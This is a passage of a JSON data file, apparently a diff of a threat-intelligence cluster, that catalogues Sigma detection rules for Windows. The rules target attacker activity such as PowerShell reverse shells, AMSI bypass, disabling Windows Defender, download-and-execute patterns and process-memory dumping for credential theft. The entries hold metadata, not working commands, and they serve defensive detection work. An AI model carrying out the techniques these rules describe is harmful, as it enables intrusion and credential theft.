"https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1072" - ] - }, - "uuid": "d679950c-abb7-43a6-80fb-2a480c4fc450", - "value": "Use of PDQ Deploy Remote Adminstartion Tool" - }, - { - "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_persistence_typed_paths.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://forensafe.com/blogs/typedpaths.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml", - "https://twitter.com/dez_/status/1560101453150257154" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba", - "value": "Persistence Via TypedPaths - CommandLine" - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/05", - "falsepositive": [ - "Very unlikely" - ], - "filename": "proc_creation_win_pingback_backdoor.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ] - }, - "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", - "value": "Pingback Backdoor" - }, - { - "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/06/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_plugx_susp_exe_locations.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", - "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" - ], - "tags": [ - "attack.s0013", - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", - "value": "Executable Used by PlugX in Uncommon Location" - }, - { - "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", - "meta": { - "author": "Teymur Kheirkhabarov", - "creation_date": "2019/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", - "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1574.011" - ] - }, - "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981", - "value": "Possible Privilege Escalation via Service Permissions Weakness" - }, - { - "description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/08/17", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_powershell_amsi_bypass.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", - "https://twitter.com/mattifestation/status/735261176745988096", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c", - "value": "Powershell AMSI Bypass via .NET Reflection" - }, - { - "description": "Detects audio capture via PowerShell Cmdlet.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate audio capture by legitimate user." - ], - "filename": "proc_creation_win_powershell_audio_capture.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ] - }, - "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", - "value": "Audio Capture via PowerShell" - }, - { - "description": "Detects Base64 encoded Shellcode", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/11/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_b64_shellcode.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml", - "https://twitter.com/cyb3rops/status/1063072865992523776" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "2d117e49-e626-4c7c-bd1f-c3c0147774c8", - "value": "PowerShell Base64 Encoded Shellcode" - }, - { - "description": "Detect download by BITS jobs via PowerShell", - "meta": { - "author": "Endgame, JHasenbusch (ported to sigma for oscd.community)", - "creation_date": "2018/10/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_bitsjob.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_bitsjob.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "f67dbfce-93bc-440d-86ad-a95ae8858c90", - "value": "Suspicious Bitsadmin Job via PowerShell" - }, - { - "description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2020/10/11", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "74403157-20f5-415d-89a7-c505779585cf", - "value": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString" - }, - { - "description": "Detects the PowerShell command lines with reversed strings", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2020/10/11", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml", - "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", - "value": "Suspicious PowerShell Cmdline" - }, - { - "description": "Detects the PowerShell command lines with special characters", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unlikely", - "Amazon SSM Document Worker", - "Windows Defender ATP" - ], - "filename": "proc_creation_win_powershell_cmdline_special_characters.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1", - "value": "Suspicious PowerShell Command Line" - }, - { - "description": "Detects specific combinations of encoding methods in the PowerShell command lines", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2020/10/11", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_powershell_cmdline_specific_comb_methods.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", - "value": "Encoded PowerShell Command Line" - }, - { - "description": "Detects specific combinations of encoding methods in the PowerShell command lines", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "creation_date": "2022/07/06", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_powershell_cmdline_susp_comb_methods.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "5b572dcf-254b-425c-a8c5-d9af6bea35a6", - "value": "Suspicious Encoded PowerShell Command Line" - }, - { - "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/04", - "falsepositive": [ - "Possible Admin Activity", - "Other Cmdlets that may use the same parameters" - ], - "filename": "proc_creation_win_powershell_defender_base64.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml", - "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3", - "value": "Powershell Defender Base64 MpPreference" - }, - { - "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/03", - "falsepositive": [ - "Possible Admin Activity", - "Other Cmdlets that may use the same parameters" - ], - "filename": "proc_creation_win_powershell_defender_disable_feature.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", - "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", - "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21", - "value": "Powershell Defender Disable Scan Feature" - }, - { - "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/04/29", - "falsepositive": [ - "Possible Admin Activity", - "Other Cmdlets that may use the same parameters" - ], - "filename": "proc_creation_win_powershell_defender_exclusion.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml", - "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "17769c90-230e-488b-a463-e05c08e9d48f", - "value": "Powershell Defender Exclusion" - }, - { - "description": "Detects attackers attempting to disable Windows Defender using Powershell", - "meta": { - "author": "ok @securonix invrep-de, oscd.community, frack113", - "creation_date": "2020/10/12", - "falsepositive": [ - "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." - ], - "filename": "proc_creation_win_powershell_disable_windef_av.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_windef_av.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217", - "value": "Powershell Used To Disable Windows Defender AV Security Monitoring" - }, - { - "description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/08/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_dll_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml", - "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba", - "value": "Detection of PowerShell Execution via DLL" - }, - { - "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", - "meta": { - "author": "Harish Segar (rule)", - "creation_date": "2020/03/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_downgrade_attack.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "b3512211-c67e-4707-bedc-66efc7848863", - "value": "PowerShell Downgrade Attack" - }, - { - "description": "Detects a Powershell process that contains download commands in its command line string", - "meta": { - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7", - "value": "PowerShell Download from URL" - }, - { - "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/28", - "falsepositive": [ - "Software installers that pull packages from remote systems and execute them" - ], - "filename": "proc_creation_win_powershell_download_patterns.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml", - "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275", - "value": "Suspicious PowerShell Download and Execute Pattern" - }, - { - "description": "Detects suspicious FromBase64String expressions in command line arguments", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/01/29", - "falsepositive": [ - "Administrative script libraries" - ], - "filename": "proc_creation_win_powershell_frombase64string.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml", - "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639" - ], - "tags": [ - "attack.t1027", - "attack.defense_evasion", - "attack.t1140", - "attack.t1059.001" - ] - }, - "uuid": "e32d4572-9826-4738-b651-95fa63747e8a", - "value": "FromBase64String Command Line" - }, - { - "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_get_clipboard.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", - "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ] - }, - "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3", - "value": "PowerShell Get-Clipboard Cmdlet Via CLI" - }, - { - "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/04/06", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_powershell_public_folder.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml" - ], - "tags": "No established tags" - }, - "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4", - "value": "Execution of Powershell Script in Public Folder" - }, - { - "description": "Detects the Nishang Invoke-PowerShellTcpOneLine reverse shell", - "meta": { - "author": "FPT.EagleEye, wagga", - "creation_date": "2021/03/03", - "falsepositive": [ - "Administrative might use this function for checking network connectivity" - ], - "filename": "proc_creation_win_powershell_reverse_shell_connection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be", - "value": "Powershell Reverse Shell Connection" - }, - { - "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", - "meta": { - "author": "FPT.EagleEye", - "creation_date": "2021/03/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_snapins_hafnium.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.collection", - "attack.t1114" - ] - }, - "uuid": "25676e10-2121-446e-80a4-71ff8506af47", - "value": "Exchange PowerShell Snap-Ins Used by HAFNIUM" - }, - { - "description": "Detects suspicious PowerShell invocation with a parameter substring", - "meta": { - "author": "Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_susp_parameter_variation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml", - "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "36210e0d-5b19-485d-a087-c096088885f0", - "value": "Suspicious PowerShell Parameter Substring" - }, - { - "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", - "meta": { - "author": "Sami Ruohonen, Harish Segar (improvement), Tim Shelton", - "creation_date": "2018/09/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_powershell_xor_commandline.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1059.001", - "attack.t1140", - "attack.t1027" - ] - }, - "uuid": "bb780e0c-16cf-4383-8383-1e5471db6cf9", - "value": "Suspicious XOR Encoded PowerShell Command Line" - }, - { - "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", - "meta": { - "author": "Markus Neis, @Karneades", - "creation_date": "2018/03/06", - "falsepositive": [ - "False positives are possible, depends on organisation and processes" - ], - "filename": "proc_creation_win_powersploit_empire_schtasks.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.s0111", - "attack.g0022", - "attack.g0060", - "car.2013-08-001", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f", - "value": "Default PowerSploit and Empire Schtasks Persistence" - }, - { - "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Other programs that cause these patterns (please report)" - ], - "filename": "proc_creation_win_priv_escalation_via_named_pipe.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml", - "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021" - ] - }, - "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b", - "value": "Privilege Escalation via Named Pipe Impersonation" - }, - { - "description": "Detects usage of the SysInternals Procdump utility", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/16", - "falsepositive": [ - "Legitimate use of procdump by a developer or administrator" - ], - "filename": "proc_creation_win_procdump.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml", - "Internal Research" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20", - "value": "Procdump Usage" - }, - { - "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/11", - "falsepositive": [ - "Cases in which procdump just gets copied to a different directory without any renaming" - ], - "filename": "proc_creation_win_procdump_evasion.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml", - "https://twitter.com/mrd0x/status/1480785527901204481" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737", - "value": "Procdump Evasion" - }, - { - "description": "Detects a process memory dump performed by RdrLeakDiag.exe", - "meta": { - "author": "Cedric MAURUGEON", - "creation_date": "2021/09/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_process_dump_rdrleakdiag.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", - "value": "Process Dump via RdrLeakDiag.exe" - }, - { - "description": "Detects process memory dump via comsvcs.dll and rundll32 using different techniques (ordinal, minidump function...etc)", - "meta": { - "author": "Florian Roth, Modexp, Nasreddine Bencherchali (update)", - "creation_date": "2020/02/18", - "falsepositive": [ - "Unlikely, because no one should dump the process memory in that way" - ], - "filename": "proc_creation_win_process_dump_rundll32_comsvcs.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml", - "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://twitter.com/Wietze/status/1542107456507203586", - "https://twitter.com/SBousseaden/status/1167417096374050817", - "https://twitter.com/Hexacorn/status/1224848930795552769", - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://twitter.com/pythonresponder/status/1385064506049630211?s=21" - ], - "tags": [ - "attack.defense_evasion", - "attack.credential_access", - "attack.t1036", - "attack.t1003.001", - "car.2013-05-009" - ] - }, - "uuid": "646ea171-dded-4578-8a4d-65e9822892e3", - "value": "Process Dump via Rundll32 and Comsvcs.dll" - }, - { - "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/01/04", - "falsepositive": [ - "Command lines that use the same flags" - ], - "filename": "proc_creation_win_proc_dump_createdump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://twitter.com/bopin2020/status/1366400799199272960", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48", - "value": "CreateDump Process Dump" - }, - { - "description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", - "meta": { - "author": "Florian Roth", - "creation_date": 